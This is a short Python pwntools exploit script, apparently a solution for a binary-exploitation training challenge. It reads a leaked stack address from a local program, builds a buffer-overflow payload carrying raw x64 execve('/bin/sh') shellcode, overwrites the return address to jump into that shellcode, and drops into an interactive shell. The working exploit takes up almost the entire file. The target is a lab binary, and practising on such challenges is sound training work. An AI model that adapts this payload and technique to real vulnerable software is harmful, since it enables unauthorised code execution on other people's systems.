# +------------------------------------------------+
# | Atack: Indirect Call Shellcode                 |
# +------------------------------------------------+
#
# For more info checkout: https://github.com/guyinatuxedo/nightmare

# +------------------------------------------------+
# | Atack: Indirect Call                           |
# +------------------------------------------------+
#
# For more info checkout: https://github.com/guyinatuxedo/nightmare

from pwn import *

import sf

target = process("./chall-test_IndrCall-09-x64")
gdb.attach(target)

bof_payload = sf.BufferOverflow(arch=64)

target.recvuntil("What the dead men say: ")
leak = int(target.recvuntil(b"\n").strip(b"\n"), 16)
ret_address = leak + (72)
bof_payload.add_base("stack", ret_address)

bof_payload.set_input_start(0x48)
bof_payload.add_int64(0x10, -0x48, "stack")
bof_payload.add_bytes(0x48, b"\x31\xf6\x48\xbf\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdf\xf7\xe6\x04\x3b\x57\x54\x5f\x0f\x05")
bof_payload.set_ret(-0x48, "stack")
payload = bof_payload.generate_payload()
target.sendline(payload)


target.interactive()

# +------------------------------------------------+
# | Artist: Shinedown                              |
# +------------------------------------------------+
# | Song: Asking for it                            |
# +------------------------------------------------+
# | Power through the point                        |
# | of no return                                   |
# +------------------------------------------------+

